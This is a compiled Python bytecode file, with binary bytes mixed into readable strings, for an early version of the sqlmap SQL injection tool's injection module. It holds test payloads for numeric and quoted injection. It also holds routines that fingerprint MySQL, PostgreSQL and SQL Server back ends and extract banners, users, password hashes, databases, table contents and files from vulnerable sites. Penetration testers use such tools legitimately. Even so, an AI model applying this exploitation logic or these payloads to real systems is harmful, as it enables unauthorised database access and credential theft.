³ò
‰ŸFc        
   @   s‚   d  d k  Z  d  d k Z d  d k l Z d  d k l Z d  d k l Z d  d k l	 Z	 d  d k
 l Z d e f d „  ƒ  YZ d S(	   iÿÿÿÿN(   t   Dump(   t
   UnionCheck(   t   MySQLMap(   t   PostgreSQLMap(   t   MSSQLServerMapt	   Injectionc           B   s_   e  Z d  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z	 d „  Z
 d	 „  Z RS(
   s¥   
    This class defines methods to check url stability, parameters
    dynamicity and perform SQL injection on affected parameters

    @author: Bernardo Damele
    c         C   s   t  i d ƒ |  _ d  S(   Nt	   sqlmapLog(   t   loggingt	   getLoggert   logger(   t   self(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __init__   s    c         C   s!  |  i  i d j o( t |  i  ƒ } | i ƒ  o | Sqnã |  i  i d j o( t |  i  ƒ } | i ƒ  o | Sqn¨ |  i  i d j o( t |  i  ƒ } | i ƒ  o | Sqnm t |  i  ƒ } | i ƒ  o | Sn t |  i  ƒ } | i ƒ  o | Sn t |  i  ƒ } | i ƒ  o | Sn d S(   sW   
        This method fingerprint the remote database management
        system
        t   mysqlt
   postgresqls   microsoft sql serverN(   t   argst   dbmsR   t	   checkDbmsR   R   t   None(   R
   t   app(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __getDbHandler   s,    c         C   s5  |  i  ƒ  } | p d } | d 7} t | ‚ n d | i ƒ  GHt ƒ  } |  i i o | i d |  i ƒ  ƒ n |  i i o | i d | i ƒ  ƒ n |  i i o | i d | i ƒ  ƒ n |  i i	 o | i d | i	 ƒ  ƒ n |  i i
 o | i d | i
 ƒ  ƒ n |  i i o | i d	 | i ƒ  ƒ n |  i i o | i d
 | i ƒ  ƒ n |  i i o | i | i ƒ  ƒ n |  i i o | i | i ƒ  ƒ n |  i i o | i | i ƒ  ƒ n |  i i o) | i |  i i | i |  i i ƒ ƒ n |  i i o) | i |  i i | i |  i i ƒ ƒ n d S(   sÓ   
        This method exploit the SQL injection on the affected
        url parameter and extract requested data from the
        remote database management system or operating system
        if possible
        s&   it is not possible to fingerprint the s!   remote database management systems   remote DBMS:	%s
s   valid uniont   banners   current users   current databases   database userss   database users password hashess   available databasesN(   t   _Injection__getDbHandlert	   Exceptiont   getFingerprintR    R   t
   unionCheckt   stringt	   getBannert   getCurrentUsert   getCurrentDbt   getUserst   listt   getPasswordHashest   passwordHashest   getDbst	   getTablest   dbTablest
   getColumnst   dbTableColumnst	   dumpTablet   dbTableValuest   filenamet   getFilet
   expressiont   getExpr(   R
   R   t   errMsgt   dumper(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt	   __exploit<   sD    
		c         C   s  d } | d | 7} |  i  i | ƒ |  i | | d | ƒ } |  i | ƒ } | |  i i j oÚ |  i | | d | ƒ } |  i | ƒ } | |  i i j o› d } | d | 7} |  i  i | ƒ |  i | | d | ƒ } |  i | ƒ } | |  i i j o8 d | } | d 7} |  i  i | ƒ d	 |  i _ t Sq5q9n d
 | } | d 7} |  i  i | ƒ d } | d | 7} |  i  i | ƒ |  i | | d | ƒ } |  i | ƒ } | |  i i j oÚ |  i | | d | ƒ } |  i | ƒ } | |  i i j o› d } | d | 7} |  i  i | ƒ |  i | | d | ƒ } |  i | ƒ } | |  i i j o8 d | } | d 7} |  i  i | ƒ d |  i _ t Sq’q–n d
 | } | d 7} |  i  i | ƒ d } | d | 7} |  i  i | ƒ |  i | | d | ƒ } |  i | ƒ } | |  i i j oÚ |  i | | d | ƒ } |  i | ƒ } | |  i i j o› d } | d | 7} |  i  i | ƒ |  i | | d | ƒ } |  i | ƒ } | |  i i j o8 d | } | d 7} |  i  i | ƒ d |  i _ t Sqïqón d
 | } | d 7} |  i  i | ƒ t S(   s  
        This method checks if the url parameter is affected by a SQL
        injection vulnerability and identifies the type of SQL
        injection:

          * Numeric/Unescaped injection
          * String/Single quote injection
          * String/Double quotes injection
        s$   testing numeric/unescaped injection s   on parameter '%s's
   %s AND 1=1s
   %s AND 1=2s'   confirming numeric/unescaped injection s   %s AND NoValues   parameter '%s' is s   numeric/unescaped injectablet   numerics   parameter '%s' is not s&   testing string/single quote injection s   %s' AND '1'='1s   %s' AND '1'='2s)   confirming string/single quote injection s   %s' and NoValues   string/single quote injectablet   stringsingles'   testing string/double quotes injection s   %s" AND "1"="1s   %s" AND "1"="2s*   confirming string/double quotes injection s   %s" AND "NoValues   string/double quotes injectablet   stringdouble(	   R	   t   infot
   urlReplacet	   queryPageR   t   defaultResultt   injectionMethodt   Truet   False(   R
   t	   parametert   valuet   logMsgt   urlt
   trueResultt   falseResult(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __checkSqlInjectionw   sŒ    











c         C   s]   d } | d | 7} |  i  i | ƒ |  i | | ƒ p d | } |  i  i | ƒ n | Sd S(   sn   
        This method checks if the url parameter is affected by a SQL
        injection vulnerability
        s   testing sql injection on s   parameter '%s's    parameter '%s' is not injectableN(   R	   R2   t   _Injection__checkSqlInjectiont   warn(   R
   R9   R:   R;   t   warnMsg(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __checkSqlInjectionPrefaceå   s    
c   	      C   sÍ   |  i  | | d ƒ } |  i | ƒ } |  i i | j o t Sn d | } |  i i | ƒ |  i  | | d ƒ } |  i | ƒ } |  i  | | d ƒ } |  i | ƒ } |  i i | j } | |  i i | j O} | S(   sÄ   
        This method checks if the url parameter is dynamic. If it is
        dynamic, the content of the page differs, otherwise the
        dynamicity might depend on another parameter.
        t   47s)   confirming that '%s' parameter is dynamics   'NoValues   "NoValue(   R3   R4   R   R5   R8   R	   R2   (	   R
   R9   R:   R<   t
   dynResult1R;   t
   dynResult2t
   dynResult3t	   condition(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __checkDynParamö   s    
c         C   sy   |  i  |  i i ƒ } t i d ƒ |  i  |  i i ƒ } t i d ƒ |  i  |  i i ƒ } | | j } | | | j M} | S(   s<  
        This method checks if the url is stable requesting the
        same page three times with a small delay within each
        request to assume it is stable.

        In case the content of the page differs when requesting
        the same page, the dynamicity might depend on other
        settings.
        g      à?(   R4   R   R<   t   timet   sleep(   R
   t   firstResultt   secondResultt   thirdResultRH   (    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __checkUrlStable  s    c         C   s  d |  i _ y |  i |  i i ƒ |  i _ WnK d } |  i i o | d 7} |  i i | ƒ qy | d 7} t	 | ‚ n X|  i i
 p‰ d } |  i i | ƒ |  i ƒ  pL d } | d 7} |  i i o" | d 7} |  i i | ƒ d Sqt	 | ‚ qd } |  i i | ƒ n xî |  i i i ƒ  D]Ú \ } } |  i i o; | |  i i j o( |  i | | ƒ } | o | Sqvq"n d	 | } |  i i | ƒ |  i | | ƒ p d
 | } |  i i | ƒ q"d | } |  i i | ƒ |  i | | ƒ } | o | Sq"q"Wd S(   sz   
        This method performs checks on the target url and SQL injection
        on the vulnerable url parameters
        s#   unable to connect to the target urls   , skipping to next urls	    or proxys0   testing if the url is stable, wait a few secondss   url is not stable, unable s   to test for SQL injectionNs   url is stables$   testing if '%s' parameter is dynamics   parameter '%s' is not dynamics   parameter '%s' is dynamic(   R   R   t   injParameterR4   R<   R5   t
   googleDorkR	   RA   R   R   R2   t   _Injection__checkUrlStablet
   parameterst   itemst   urlParametert$   _Injection__checkSqlInjectionPrefacet   _Injection__checkDynParam(   R
   RB   R;   R,   R9   R:   RP   (    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   __effectiveRun+  sR    



  


c   
      C   sÊ  | |  _  |  i  i o: |  i ƒ  |  i  _ |  i  i p t d ‚ n |  i ƒ  ntd } xj|  i  i D]\} | d 7} d | | f } | d 7} t d t i	 d ƒ | f ƒ } | p | d d j o qc n d
 | } |  i
 i | ƒ h  |  i  _ | |  i  _ |  i ƒ  \ } } | p | o qc n |  i | ƒ |  i  _ |  i  i p qc n |  i ƒ  |  i  _ |  i  i oP d } t d t i	 d ƒ | f ƒ }	 |	 p |	 d d j o |  i ƒ  q¿qc qc W|  i  S(   s   
        This method performs checks on the target url(s) and perform
        SQL injection on vulnerable url parameters
        s!   all parameters are not injectablei    i   s   url %d: %s, s$   do you want to test this url? [y/N] s   [%s] [INFO] %ss   %Xt   nt   Ns   testing url %ss1   do you want to exploit this SQL injection? [Y/n] t   yt   Y(   RY   RZ   (   R[   R\   (   R   R<   t   _Injection__effectiveRunRP   R   t   _Injection__exploitt   testableHostst	   raw_inputRJ   t   strftimeR	   R2   RS   t   roughParameterst	   paramDict(
   R
   t   checkedArgst	   hostCountt   testableHostt   messaget   testR;   R<   RS   t   exploit(    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyt   runm  s@    	 


(   t   __name__t
   __module__t   __doc__R   R   R^   R@   RV   RW   RR   R]   Rj   (    (    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pyR      s   		"	;	n				B(   R   RJ   t   lib.dumpR    t	   lib.unionR   t   plugins.mysqlmapR   t   plugins.postgresqlmapR   t   plugins.mssqlservermapR   R   (    (    (    s7   /usr/local/www/apache22/data/stuff/sql/lib/injection.pys   <module>   s   
